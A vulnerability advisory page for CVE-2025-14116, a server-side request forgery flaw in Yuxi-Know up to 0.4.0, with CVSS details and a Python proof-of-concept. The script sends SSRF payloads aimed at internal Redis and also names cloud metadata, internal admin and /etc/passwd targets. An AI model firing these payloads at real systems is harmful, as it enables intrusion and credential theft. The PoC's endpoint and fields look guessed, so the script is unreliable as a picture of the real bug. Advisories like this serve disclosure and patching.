Security Vulnerability Report
中文
CVE-2025-14116 CVSS 4.7 MEDIUM

CVE-2025-14116

Published: 2025-12-05 23:15:47
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was detected in xerrors Yuxi-Know up to 0.4.0. This vulnerability affects the function OtherEmbedding.aencode of the file /src/models/embed.py. Performing manipulation of the argument health_url results in server-side request forgery. The attack can be initiated remotely. The exploit is now public and may be used. The patch is named 0ff771dc1933d5a6b78f804115e78a7d8625c3f3. To fix this issue, it is recommended to deploy a patch. The vendor responded with a vulnerability confirmation and a list of security measures they have established already (e.g. disabled URL parsing, disabled URL upload mode, removed URL-to-markdown conversion).

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Yuxi-Know <= 0.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14116 PoC - SSRF in Yuxi-Know health_url parameter # Target: xerrors/Yuxi-Know <= 0.4.0 TARGET_URL = "http://target.com/api/embed" # Replace with actual target # Payload to exploit SSRF via health_url parameter # This attempts to access internal service (localhost:6379 - Redis) payload = { "health_url": "http://127.0.0.1:6379/", "url": "https://example.com", "text": "test" } try: response = requests.post(TARGET_URL, json=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Additional payloads to test: # http://169.254.169.254/ - AWS metadata # http://localhost:8080/admin - Internal admin panel # file:///etc/passwd - Local file access (if supported)

References

Raw JSON Data

JSON
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